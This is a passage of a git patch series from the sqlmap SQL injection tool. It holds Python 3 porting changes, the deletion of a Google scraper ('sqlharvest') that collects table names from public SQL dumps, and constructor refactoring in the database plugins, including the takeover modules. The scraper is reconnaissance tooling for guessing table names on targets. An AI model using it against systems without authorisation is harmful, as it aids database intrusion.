self.hidden = 1 - SGMLParser.reset(self) + sgmllib.SGMLParser.reset(self) self.currentData = [] self.currentTag = None self.tagStack = [] @@ -1464,8 +1474,8 @@ def parse_declaration(self, i): self._toStringSubclass(data, CData) else: try: - j = SGMLParser.parse_declaration(self, i) - except SGMLParseError: + j = sgmllib.SGMLParser.parse_declaration(self, i) + except sgmllib.SGMLParseError: toHandle = self.rawdata[i:] self.handle_data(toHandle) j = i + len(toHandle) @@ -2018,4 +2028,4 @@ def _ebcdic_to_ascii(self, s): if __name__ == '__main__': import sys soup = BeautifulSoup(sys.stdin) - print soup.prettify() + print(soup.prettify()) diff --git a/thirdparty/keepalive/keepalive.py b/thirdparty/keepalive/keepalive.py index 0ff98d98247..4d11fa3ac7c 100644 --- a/thirdparty/keepalive/keepalive.py +++ b/thirdparty/keepalive/keepalive.py @@ -103,7 +103,7 @@ """ -# $Id: keepalive.py,v 1.17 2006/12/08 00:14:16 mstenner Exp $ +from __future__ import print_function import urllib2 import httplib @@ -487,7 +487,7 @@ def error_handler(url): urllib2.install_opener(opener) pos = {0: 'off', 1: 'on'} for i in (0, 1): - print " fancy error handling %s (HANDLE_ERRORS = %i)" % (pos[i], i) + print(" fancy error handling %s (HANDLE_ERRORS = %i)" % (pos[i], i)) HANDLE_ERRORS = i try: fo = urllib2.urlopen(url) @@ -496,13 +496,13 @@ def error_handler(url): try: status, reason = fo.status, fo.reason except AttributeError: status, reason = None, None except IOError as e: - print " EXCEPTION: %s" % e + print(" EXCEPTION: %s" % e) raise else: - print " status = %s, reason = %s" % (status, reason) + print(" status = %s, reason = %s" % (status, reason)) HANDLE_ERRORS = orig hosts = keepalive_handler.open_connections() - print "open connections:", hosts + print("open connections:", hosts) keepalive_handler.close_all() def continuity(url): @@ -516,7 +516,7 @@ def continuity(url): foo = fo.read() fo.close() m = md5.new(foo) - print format % ('normal urllib', m.hexdigest()) + print(format % ('normal urllib', m.hexdigest())) # now install the keepalive handler and try again opener = urllib2.build_opener(HTTPHandler()) @@ -526,7 +526,7 @@ def continuity(url): foo = fo.read() fo.close() m = md5.new(foo) - print format % ('keepalive read', m.hexdigest()) + print(format % ('keepalive read', m.hexdigest())) fo = urllib2.urlopen(url) foo = '' @@ -536,25 +536,25 @@ def continuity(url): else: break fo.close() m = md5.new(foo) - print format % ('keepalive readline', m.hexdigest()) + print(format % ('keepalive readline', m.hexdigest())) def comp(N, url): - print ' making %i connections to:\n %s' % (N, url) + print(' making %i connections to:\n %s' % (N, url)) sys.stdout.write(' first using the normal urllib handlers') # first use normal opener opener = urllib2.build_opener() urllib2.install_opener(opener) t1 = fetch(N, url) - print ' TIME: %.3f s' % t1 + print(' TIME: %.3f s' % t1) sys.stdout.write(' now using the keepalive handler ') # now install the keepalive handler and try again opener = urllib2.build_opener(HTTPHandler()) urllib2.install_opener(opener) t2 = fetch(N, url) - print ' TIME: %.3f s' % t2 - print ' improvement factor: %.2f' % (t1/t2, ) + print(' TIME: %.3f s' % t2) + print(' improvement factor: %.2f' % (t1/t2, )) def fetch(N, url, delay=0): import time @@ -572,7 +572,7 @@ def fetch(N, url, delay=0): for i in lens[1:]: j = j + 1 if not i == lens[0]: - print "WARNING: inconsistent length on read %i: %i" % (j, i) + print("WARNING: inconsistent length on read %i: %i" % (j, i)) return diff @@ -580,16 +580,16 @@ def test_timeout(url): global DEBUG dbbackup = DEBUG class FakeLogger: - def debug(self, msg, *args): print msg % args + def debug(self, msg, *args): print(msg % args) info = warning = error = debug DEBUG = FakeLogger() - print " fetching the file to establish a connection" + print(" fetching the file to establish a connection") fo = urllib2.urlopen(url) data1 = fo.read() fo.close() i = 20 - print " waiting %i seconds for the server to close the connection" % i + print(" waiting %i seconds for the server to close the connection" % i) while i > 0: sys.stdout.write('\r %2i' % i) sys.stdout.flush() @@ -597,33 +597,33 @@ def debug(self, msg, *args): print msg % args i -= 1 sys.stderr.write('\r') - print " fetching the file a second time" + print(" fetching the file a second time") fo = urllib2.urlopen(url) data2 = fo.read() fo.close() if data1 == data2: - print ' data are identical' + print(' data are identical') else: - print ' ERROR: DATA DIFFER' + print(' ERROR: DATA DIFFER') DEBUG = dbbackup def test(url, N=10): - print "checking error hander (do this on a non-200)" + print("checking error hander (do this on a non-200)") try: error_handler(url) except IOError as e: - print "exiting - exception will prevent further tests" + print("exiting - exception will prevent further tests") sys.exit() - print - print "performing continuity test (making sure stuff isn't corrupted)" + print() + print("performing continuity test (making sure stuff isn't corrupted)") continuity(url) - print - print "performing speed comparison" + print() + print("performing speed comparison") comp(N, url) - print - print "performing dropped-connection check" + print() + print("performing dropped-connection check") test_timeout(url) if __name__ == '__main__': @@ -633,6 +633,6 @@ def test(url, N=10): N = int(sys.argv[1]) url = sys.argv[2] except: - print "%s <integer> <url>" % sys.argv[0] + print("%s <integer> <url>" % sys.argv[0]) else: test(url, N) From b036fcc8762315e5948e9cc342926912b152c3da Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 27 Mar 2019 17:37:57 +0100 Subject: [PATCH 188/800] Junk removal (in preparing for py3) --- extra/sqlharvest/__init__.py | 8 -- extra/sqlharvest/sqlharvest.py | 143 ------------------------ lib/core/settings.py | 2 +- plugins/dbms/access/__init__.py | 8 +- plugins/dbms/access/connector.py | 3 - plugins/dbms/access/enumeration.py | 3 - plugins/dbms/access/filesystem.py | 3 - plugins/dbms/access/syntax.py | 3 - plugins/dbms/access/takeover.py | 3 - plugins/dbms/db2/__init__.py | 8 +- plugins/dbms/db2/connector.py | 3 - plugins/dbms/db2/enumeration.py | 3 - plugins/dbms/db2/filesystem.py | 3 +- plugins/dbms/db2/syntax.py | 3 - plugins/dbms/firebird/__init__.py | 8 +- plugins/dbms/firebird/connector.py | 3 - plugins/dbms/firebird/enumeration.py | 3 - plugins/dbms/firebird/filesystem.py | 3 - plugins/dbms/firebird/syntax.py | 3 - plugins/dbms/firebird/takeover.py | 3 - plugins/dbms/h2/__init__.py | 8 +- plugins/dbms/h2/connector.py | 3 - plugins/dbms/h2/enumeration.py | 3 - plugins/dbms/h2/filesystem.py | 3 - plugins/dbms/h2/syntax.py | 3 - plugins/dbms/h2/takeover.py | 3 - plugins/dbms/hsqldb/__init__.py | 8 +- plugins/dbms/hsqldb/connector.py | 3 - plugins/dbms/hsqldb/enumeration.py | 3 - plugins/dbms/hsqldb/filesystem.py | 3 - plugins/dbms/hsqldb/syntax.py | 3 - plugins/dbms/hsqldb/takeover.py | 3 - plugins/dbms/informix/__init__.py | 8 +- plugins/dbms/informix/connector.py | 3 - plugins/dbms/informix/enumeration.py | 3 - plugins/dbms/informix/filesystem.py | 3 +- plugins/dbms/informix/syntax.py | 3 - plugins/dbms/maxdb/__init__.py | 8 +- plugins/dbms/maxdb/connector.py | 3 - plugins/dbms/maxdb/filesystem.py | 3 - plugins/dbms/maxdb/syntax.py | 3 - plugins/dbms/maxdb/takeover.py | 3 - plugins/dbms/mssqlserver/__init__.py | 8 +- plugins/dbms/mssqlserver/connector.py | 3 - plugins/dbms/mssqlserver/enumeration.py | 3 - plugins/dbms/mssqlserver/filesystem.py | 3 - plugins/dbms/mssqlserver/syntax.py | 3 - plugins/dbms/mysql/__init__.py | 8 +- plugins/dbms/mysql/connector.py | 3 - plugins/dbms/mysql/enumeration.py | 3 +- plugins/dbms/mysql/filesystem.py | 3 - plugins/dbms/mysql/syntax.py | 3 - plugins/dbms/oracle/__init__.py | 8 +- plugins/dbms/oracle/connector.py | 3 - plugins/dbms/oracle/enumeration.py | 3 - plugins/dbms/oracle/filesystem.py | 3 - plugins/dbms/oracle/syntax.py | 3 - plugins/dbms/oracle/takeover.py | 3 - plugins/dbms/postgresql/__init__.py | 8 +- plugins/dbms/postgresql/connector.py | 3 - plugins/dbms/postgresql/enumeration.py | 3 - plugins/dbms/postgresql/syntax.py | 3 - plugins/dbms/postgresql/takeover.py | 3 - plugins/dbms/sqlite/__init__.py | 8 +- plugins/dbms/sqlite/enumeration.py | 3 - plugins/dbms/sqlite/filesystem.py | 3 - plugins/dbms/sqlite/syntax.py | 3 - plugins/dbms/sqlite/takeover.py | 3 - plugins/dbms/sybase/__init__.py | 8 +- plugins/dbms/sybase/connector.py | 3 - plugins/dbms/sybase/enumeration.py | 3 - plugins/dbms/sybase/filesystem.py | 3 - plugins/dbms/sybase/syntax.py | 3 - plugins/dbms/sybase/takeover.py | 3 - plugins/generic/takeover.py | 4 +- 75 files changed, 31 insertions(+), 404 deletions(-) delete mode 100644 extra/sqlharvest/__init__.py delete mode 100644 extra/sqlharvest/sqlharvest.py diff --git a/extra/sqlharvest/__init__.py b/extra/sqlharvest/__init__.py deleted file mode 100644 index 8307a1c2877..00000000000 --- a/extra/sqlharvest/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python2 - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -pass diff --git a/extra/sqlharvest/sqlharvest.py b/extra/sqlharvest/sqlharvest.py deleted file mode 100644 index d0ded452c36..00000000000 --- a/extra/sqlharvest/sqlharvest.py +++ /dev/null @@ -1,143 +0,0 @@ -#!/usr/bin/env python2 - -""" -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -See the file 'LICENSE' for copying permission -""" - -from __future__ import print_function - -import cookielib -import re -import socket -import sys -import urllib -import urllib2 -import ConfigParser - -from operator import itemgetter - -TIMEOUT = 10 -CONFIG_FILE = 'sqlharvest.cfg' -TABLES_FILE = 'tables.txt' -USER_AGENT = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; AskTB5.3)' -SEARCH_URL = 'http://www.google.com/m?source=mobileproducts&dc=gorganic' -MAX_FILE_SIZE = 2 * 1024 * 1024 # if a result (.sql) file for downloading is more than 2MB in size just skip it -QUERY = 'CREATE TABLE ext:sql' -REGEX_URLS = r';u=([^"]+?)&q=' -REGEX_RESULT = r'(?i)CREATE TABLE\s*(/\*.*\*/)?\s*(IF NOT EXISTS)?\s*(?P<result>[^\(;]+)' - -def main(): - tables = dict() - cookies = cookielib.CookieJar() - cookie_processor = urllib2.HTTPCookieProcessor(cookies) - opener = urllib2.build_opener(cookie_processor) - opener.addheaders = [("User-Agent", USER_AGENT)] - - conn = opener.open(SEARCH_URL) - page = conn.read() # set initial cookie values - - config = ConfigParser.ConfigParser() - config.read(CONFIG_FILE) - - if not config.has_section("options"): - config.add_section("options") - if not config.has_option("options", "index"): - config.set("options", "index", "0") - - i = int(config.get("options", "index")) - - try: - with open(TABLES_FILE, 'r') as f: - for line in f.xreadlines(): - if len(line) > 0 and ',' in line: - temp = line.split(',') - tables[temp[0]] = int(temp[1]) - except: - pass - - socket.setdefaulttimeout(TIMEOUT) - - files, old_files = None, None - try: - while True: - abort = False - old_files = files - files = [] - - try: - conn = opener.open("%s&q=%s&start=%d&sa=N" % (SEARCH_URL, QUERY.replace(' ', '+'), i * 10)) - page = conn.read() - for match in re.finditer(REGEX_URLS, page): - files.append(urllib.unquote(match.group(1))) - if len(files) >= 10: - break - abort = (files == old_files) - - except KeyboardInterrupt: - raise - - except Exception as ex: - print(ex) - - if abort: - break - - sys.stdout.write("\n---------------\n") - sys.stdout.write("Result page #%d\n" % (i + 1)) - sys.stdout.write("---------------\n") - - for sqlfile in files: - print(sqlfile) - - try: - req = urllib2.Request(sqlfile) - response = urllib2.urlopen(req) - - if "Content-Length" in response.headers: - if int(response.headers.get("Content-Length")) > MAX_FILE_SIZE: - continue - - page = response.read() - found = False - counter = 0 - - for match in re.finditer(REGEX_RESULT, page): - counter += 1 - table = match.group("result").strip().strip("`\"'").replace('"."', ".").replace("].[", ".").strip('[]') - - if table and not any(_ in table for _ in ('>', '<', '--', ' ')): - found = True - sys.stdout.write('*') - - if table in tables: - tables[table] += 1 - else: - tables[table] = 1 - if found: - sys.stdout.write("\n") - - except KeyboardInterrupt: - raise - - except Exception as ex: - print(ex) - - else: - i += 1 - - except KeyboardInterrupt: - pass - - finally: - with open(TABLES_FILE, 'w+') as f: - tables = sorted(tables.items(), key=itemgetter(1), reverse=True) - for table, count in tables: - f.write("%s,%d\n" % (table, count)) - - config.set("options", "index", str(i + 1)) - with open(CONFIG_FILE, 'w+') as f: - config.write(f) - -if __name__ == "__main__": - main() diff --git a/lib/core/settings.py b/lib/core/settings.py index ed49fcef64f..b03f3e91bec 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.63" +VERSION = "1.3.3.64" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/access/__init__.py b/plugins/dbms/access/__init__.py index f909970ea4c..60132fa9faf 100644 --- a/plugins/dbms/access/__init__.py +++ b/plugins/dbms/access/__init__.py @@ -23,11 +23,7 @@ class AccessMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Tak def __init__(self): self.excludeDbsList = ACCESS_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.ACCESS] = Syntax.escape diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index 8a3839807ba..729d0f145f5 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -29,9 +29,6 @@ class Connector(GenericConnector): License: MIT """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): if not IS_WIN: errMsg = "currently, direct connection to Microsoft Access database(s) " diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index bffb73d8156..b2fd4ab035c 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -9,9 +9,6 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getBanner(self): warnMsg = "on Microsoft Access it is not possible to get a banner" logger.warn(warnMsg) diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py index 873785fa51d..3b7cc137be0 100644 --- a/plugins/dbms/access/filesystem.py +++ b/plugins/dbms/access/filesystem.py @@ -9,9 +9,6 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - def readFile(self, rFile): errMsg = "on Microsoft Access it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py index 4866d344cfe..c6fedfd6143 100644 --- a/plugins/dbms/access/syntax.py +++ b/plugins/dbms/access/syntax.py @@ -8,9 +8,6 @@ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): def escaper(value): diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py index 837fe3be251..4932b8b342b 100644 --- a/plugins/dbms/access/takeover.py +++ b/plugins/dbms/access/takeover.py @@ -9,9 +9,6 @@ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on Microsoft Access it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/db2/__init__.py b/plugins/dbms/db2/__init__.py index c79259c4320..2bef4b83317 100644 --- a/plugins/dbms/db2/__init__.py +++ b/plugins/dbms/db2/__init__.py @@ -24,11 +24,7 @@ class DB2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov def __init__(self): self.excludeDbsList = DB2_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.DB2] = Syntax.escape diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index 63b7fca09c6..8e36e5b4659 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -26,9 +26,6 @@ class Connector(GenericConnector): License: Apache License 2.0 """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index b73b2168ed4..f83fa056bde 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -9,9 +9,6 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getPasswordHashes(self): warnMsg = "on DB2 it is not possible to list password hashes" logger.warn(warnMsg) diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py index deb2cf33a10..7e93a4c1228 100644 --- a/plugins/dbms/db2/filesystem.py +++ b/plugins/dbms/db2/filesystem.py @@ -8,5 +8,4 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) + pass \ No newline at end of file diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index 39e974f640d..b22f4bfc061 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -8,9 +8,6 @@ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ diff --git a/plugins/dbms/firebird/__init__.py b/plugins/dbms/firebird/__init__.py index 89d86cf507b..16c426b864f 100644 --- a/plugins/dbms/firebird/__init__.py +++ b/plugins/dbms/firebird/__init__.py @@ -23,11 +23,7 @@ class FirebirdMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, T def __init__(self): self.excludeDbsList = FIREBIRD_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.FIREBIRD] = Syntax.escape diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index 260e8655bd2..93d824a0114 100644 --- a/plugins/dbms/firebird/connector.py +++ b/plugins/dbms/firebird/connector.py @@ -27,9 +27,6 @@ class Connector(GenericConnector): License: BSD """ - def __init__(self): - GenericConnector.__init__(self) - # sample usage: # ./sqlmap.py -d "firebird://sysdba:testpass@/opt/firebird/testdb.fdb" # ./sqlmap.py -d "firebird://sysdba:testpass@127.0.0.1:3050//opt/firebird/testdb.fdb" diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index a956d963af1..0977d147b00 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -9,9 +9,6 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getDbs(self): warnMsg = "on Firebird it is not possible to enumerate databases (use only '--tables')" logger.warn(warnMsg) diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py index e8e46b33114..7d89005c03a 100644 --- a/plugins/dbms/firebird/filesystem.py +++ b/plugins/dbms/firebird/filesystem.py @@ -9,9 +9,6 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - def readFile(self, rFile): errMsg = "on Firebird it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py index f7f77685cbd..1dc01e7a228 100644 --- a/plugins/dbms/firebird/syntax.py +++ b/plugins/dbms/firebird/syntax.py @@ -9,9 +9,6 @@ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py index 4dc49a27c36..850fbf96667 100644 --- a/plugins/dbms/firebird/takeover.py +++ b/plugins/dbms/firebird/takeover.py @@ -9,9 +9,6 @@ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on Firebird it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/h2/__init__.py b/plugins/dbms/h2/__init__.py index f417c6b6d98..0265363fe65 100644 --- a/plugins/dbms/h2/__init__.py +++ b/plugins/dbms/h2/__init__.py @@ -23,11 +23,7 @@ class H2Map(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove def __init__(self): self.excludeDbsList = H2_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.H2] = Syntax.escape diff --git a/plugins/dbms/h2/connector.py b/plugins/dbms/h2/connector.py index 9ab33eb73ea..8785e4ad88f 100644 --- a/plugins/dbms/h2/connector.py +++ b/plugins/dbms/h2/connector.py @@ -9,9 +9,6 @@ from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): - def __init__(self): - GenericConnector.__init__(self) - def connect(self): errMsg = "on H2 it is not (currently) possible to establish a " errMsg += "direct connection" diff --git a/plugins/dbms/h2/enumeration.py b/plugins/dbms/h2/enumeration.py index 946e1ca0da8..4e81b598b2f 100644 --- a/plugins/dbms/h2/enumeration.py +++ b/plugins/dbms/h2/enumeration.py @@ -16,9 +16,6 @@ from lib.request import inject class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getBanner(self): if not conf.getBanner: return diff --git a/plugins/dbms/h2/filesystem.py b/plugins/dbms/h2/filesystem.py index e7e0c4d7794..7090e7d18c1 100644 --- a/plugins/dbms/h2/filesystem.py +++ b/plugins/dbms/h2/filesystem.py @@ -9,9 +9,6 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - def readFile(self, rFile): errMsg = "on H2 it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/h2/syntax.py b/plugins/dbms/h2/syntax.py index 73c9d52c060..d95e1bcbeff 100644 --- a/plugins/dbms/h2/syntax.py +++ b/plugins/dbms/h2/syntax.py @@ -8,9 +8,6 @@ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ diff --git a/plugins/dbms/h2/takeover.py b/plugins/dbms/h2/takeover.py index ca145017660..f93d2c1ef81 100644 --- a/plugins/dbms/h2/takeover.py +++ b/plugins/dbms/h2/takeover.py @@ -9,9 +9,6 @@ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on H2 it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/hsqldb/__init__.py b/plugins/dbms/hsqldb/__init__.py index baf6735f4fd..8f85bb6fbcb 100644 --- a/plugins/dbms/hsqldb/__init__.py +++ b/plugins/dbms/hsqldb/__init__.py @@ -23,11 +23,7 @@ class HSQLDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Tak def __init__(self): self.excludeDbsList = HSQLDB_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.HSQLDB] = Syntax.escape diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py index f9a19f5c13a..b57f92c1171 100644 --- a/plugins/dbms/hsqldb/connector.py +++ b/plugins/dbms/hsqldb/connector.py @@ -30,9 +30,6 @@ class Connector(GenericConnector): License: LGPL & Apache License 2.0 """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() try: diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index d3ef310b6eb..c9bc656ff1d 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -16,9 +16,6 @@ from lib.request import inject class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def getBanner(self): if not conf.getBanner: return diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py index f7ff1d571e5..3c473e862b7 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -9,9 +9,6 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) - def readFile(self, rFile): errMsg = "on HSQLDB it is not possible to read files" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py index 73c9d52c060..d95e1bcbeff 100644 --- a/plugins/dbms/hsqldb/syntax.py +++ b/plugins/dbms/hsqldb/syntax.py @@ -8,9 +8,6 @@ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ diff --git a/plugins/dbms/hsqldb/takeover.py b/plugins/dbms/hsqldb/takeover.py index eb8a4108591..ce6cdb2d8d9 100644 --- a/plugins/dbms/hsqldb/takeover.py +++ b/plugins/dbms/hsqldb/takeover.py @@ -9,9 +9,6 @@ from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): - def __init__(self): - GenericTakeover.__init__(self) - def osCmd(self): errMsg = "on HSQLDB it is not possible to execute commands" raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/informix/__init__.py b/plugins/dbms/informix/__init__.py index f8cb6511d31..44cd035db63 100644 --- a/plugins/dbms/informix/__init__.py +++ b/plugins/dbms/informix/__init__.py @@ -24,11 +24,7 @@ class InformixMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, T def __init__(self): self.excludeDbsList = INFORMIX_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.INFORMIX] = Syntax.escape diff --git a/plugins/dbms/informix/connector.py b/plugins/dbms/informix/connector.py index b9539a2d47d..346719dcde5 100644 --- a/plugins/dbms/informix/connector.py +++ b/plugins/dbms/informix/connector.py @@ -26,9 +26,6 @@ class Connector(GenericConnector): License: Apache License 2.0 """ - def __init__(self): - GenericConnector.__init__(self) - def connect(self): self.initConnection() diff --git a/plugins/dbms/informix/enumeration.py b/plugins/dbms/informix/enumeration.py index 197d60958ce..eeb095f57f9 100644 --- a/plugins/dbms/informix/enumeration.py +++ b/plugins/dbms/informix/enumeration.py @@ -9,9 +9,6 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): - def __init__(self): - GenericEnumeration.__init__(self) - def searchDb(self): warnMsg = "on Informix searching of databases is not implemented" logger.warn(warnMsg) diff --git a/plugins/dbms/informix/filesystem.py b/plugins/dbms/informix/filesystem.py index deb2cf33a10..7e93a4c1228 100644 --- a/plugins/dbms/informix/filesystem.py +++ b/plugins/dbms/informix/filesystem.py @@ -8,5 +8,4 @@ from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): - def __init__(self): - GenericFilesystem.__init__(self) + pass \ No newline at end of file diff --git a/plugins/dbms/informix/syntax.py b/plugins/dbms/informix/syntax.py index 58cf2019447..8c8f066ed74 100644 --- a/plugins/dbms/informix/syntax.py +++ b/plugins/dbms/informix/syntax.py @@ -12,9 +12,6 @@ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): - def __init__(self): - GenericSyntax.__init__(self) - @staticmethod def escape(expression, quote=True): """ diff --git a/plugins/dbms/maxdb/__init__.py b/plugins/dbms/maxdb/__init__.py index 4fe75557bd4..550adc5dc7f 100644 --- a/plugins/dbms/maxdb/__init__.py +++ b/plugins/dbms/maxdb/__init__.py @@ -23,11 +23,7 @@ class MaxDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Take def __init__(self): self.excludeDbsList = MAXDB_SYSTEM_DBS - Syntax.__init__(self) - Fingerprint.__init__(self) - Enumeration.__init__(self) - Filesystem.__init__(self) - Miscellaneous.__init__(self) - Takeover.__init__(self) + for cls in self.__class__.__bases__: + cls.__init__(self) unescaper[DBMS.MAXDB] = Syntax.escape diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py index 